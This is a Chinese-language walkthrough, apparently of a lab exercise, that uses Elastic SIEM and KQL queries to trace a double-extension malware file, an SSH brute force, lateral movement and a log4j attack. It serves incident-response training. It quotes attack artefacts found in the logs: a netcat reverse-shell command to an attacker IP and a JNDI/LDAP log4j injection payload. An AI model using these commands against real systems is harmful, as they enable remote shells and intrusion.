目录
- 介绍
- 步骤
介绍
Elasticsearch 是在 Apache Lucene 上构建的分布式搜索和分析引擎。Elasticsearch常用于日志分析、全文搜索、安全智能、业务分析和运维智能使用案例。
可以使用 JSON 文档形式或通过 API 等将数据发送到 Elasticsearch。 Elasticsearch 自动存储原始文档,并在集群的索引中添加该文档的可搜索引用。然后,您就可以使用 Elasticsearch API 搜索和检索该文档。还可以利用可视化数据并构建交互式控制面板。
步骤
在操作机中,打开FireFox,输入about:config
打开配置页面,输入network.security.ports.banned.override
,将值更改为5601
打开目标机IP:5601
进入elastic日志分析系统,利用账户名elastic
密码elastic
登陆
点击左上角菜单,选中Security
的Overview
模块
点击alerts
打开警报模块
点击Add Fliter
,在Field
栏输入process.name
,Operator
选择is
,可以查看到引起alert的所有程序(也可以不筛选,直接在KQL处输入file.name: *.*.*
查找)
根据系统总结筛选的结果,可以分析出有一个双重扩展名的程序Acount_details.pdf.exe
,在下方使用TimeStamp
进行排序可得最先出现Acount_details.pdf.exe
程序的用户名是ahmed
主机名和另一个执行恶意程序的用户名也显示在此处
点击左上角菜单,选中analytics
的discover
模块,点击切换为Winlogbeat
,输入file.name: *.*.exe
进行确认
返回Security
的alerts
模块,输入file.name : "Acount_details.pdf.exe"
语句进行筛选,以TimeStamp Sort old-new
排序,在最早时间线处点击盒子图标Analyze event
进行自动日志分析
点击NetWork
,找到最早时间线的Network start
,点击加密的字符串
打开连接详情后可以查看到攻击者IP
在analytics
的discover
模块,切换至winlogbeat
,输入process.name : "Acount_details.pdf.exe" and user.name: "ahmed"
KQL命令,筛选ip
返回Security
的alerts
模块,输入file.name:*.dll and file.size:8704 and process.name: "Acount_details.pdf.exe"
进行筛选
点击盒子图标Analyze event
进行自动日志分析
点击当前连接的file
,筛选两个file creation
分析得知,攻击者通过恶意文件下载了mCblHDgWP.dll
这个dll文件
返回Security
的alerts
模块,输入process.pid : 10716 and process.name : "cmd.exe"
筛选
点击盒子图标Analyze event
进行自动日志分析
点击cmd.exe
,查看进程信息,进程PID是10716,具有NT AUTHORITY
权限,父进程ID是8856
点击rundll32.exe
查看进程信息,进程PID为8856,是PID10716的父进程
点击rundll32.exe
的registry
查看注册表
在analytics
的discover
模块,切换至logs
,以registry.path
为类型,输入process.name: "rundll32.exe" and process.pid : 8856
筛选,进一步确认
返回Security
的host
模块,输入KQL语句process.name: "powershell.exe" and process.pid : 8836
筛选,点击盒子图标Analyze event
进行自动日志分析
点击Powershell.exe
,查看file change
,powershell进程更改的文件名为ModuleAnalysisCache
返回Security
的host
模块,输入process.name: "powershell.exe" and process.pid : 11676
,选中event.action为File created的条目进行查看,点击盒子图标Analyze event
进行自动日志分析
点击Powershell.exe
的file
,选择时间线第一个创建的文件信息
查看信息后得知,_PSScriptPolicyTest_bymwxuft.3b5.ps1
是PID为11676创建的第一个.ps1扩展名的文件
返回Security
的host
模块,针对每个主机的IP进行查询
Windows服务器的LAN是192.168.10.0/24
可以得知,elastic的LAN是192.168.20.0/24
,CentOS的LAN是192.168.30.0/24
,ubuntu的LAN是192.168.10.0/24
,localhost.localdomain的LAN是192.168.122.0/24
。只有ubuntu服务器和windows服务器的LAN是相同的
在ubuntu服务器的Authentications
中,有大量的用户登陆认证错误,可以推断在ubuntu服务器中发生了暴力破解攻击。
通过日志分析,针对既有登录失败又有登陆成功的用户名,只有salem
和root
用户。其中最后成功登陆的IP是Windows服务器,判断利用Windows服务器作为跳板进行了横向渗透。
返回analytics
的discover
模块,使用KQL命令host.name: "ubuntu" and log.file.path : "/var/log/auth.log" and system.auth.ssh.event : "Accepted"
,过滤器使用user.name
筛选。salem是暴力破解后登录的用户名
返回Security
的host
,点击events
,使用KQL语句host.name: "ubuntu" and user.name: "salem" and process.args: wget
,过滤ubuntu服务器的用户名salem
的进程命令为wget
的事件
针对时间线最先发生的事件,点击盒子图标Analyze event
进行自动日志分析,点击wget即可查看process.args
的cve编号
在Security
的host
,点击events
,利用KQL命令host.name: "ubuntu" and user.name: "salem" and process.args : "python3"
筛选,在时间线最先发生的事件点击盒子图标Analyze event
进行自动日志分析
在分析中,点击python3
的file
,可以明确看到python3
进程创建了3个文件,均为同一时间
在Security
的host
,点击events
,利用KQL命令user.name: root and process.pid: 3011
筛选命令执行信息,选择event.action
是exec
的条目
点击盒子图标Analyze event
进行自动日志分析,可以分析出执行的命令是bash -i
返回Security
的Alerts
模块,输入KQL命令signal.rule.name: "Netcat Network Activity"
,可以得知服务器主机名是CentOS
点击盒子图标Analyze event
进行自动日志分析,点击运行的进程nc
,可以看到用户名为solr和父进程PID
可以在这个进程处,确认反弹shell的执行命令nv -e /bin/bash 192.168.1.10 9999
对父进程PID进一步溯源,是java程序调起的nc
命令
在analytics
的discover
模块,点击切换为filebeat
,输入KQL语句log.file.path:/var/solr/logs/solr.log
,在过滤器处输入message
筛选向服务器提交信息的条目
根据条目得知,发生log4j攻击的路径为/admin/cores
,,提交的params参数为foo
,JNDI载荷为{foo=${jndi:ldap://192.168.1.10:1389/Exploit}}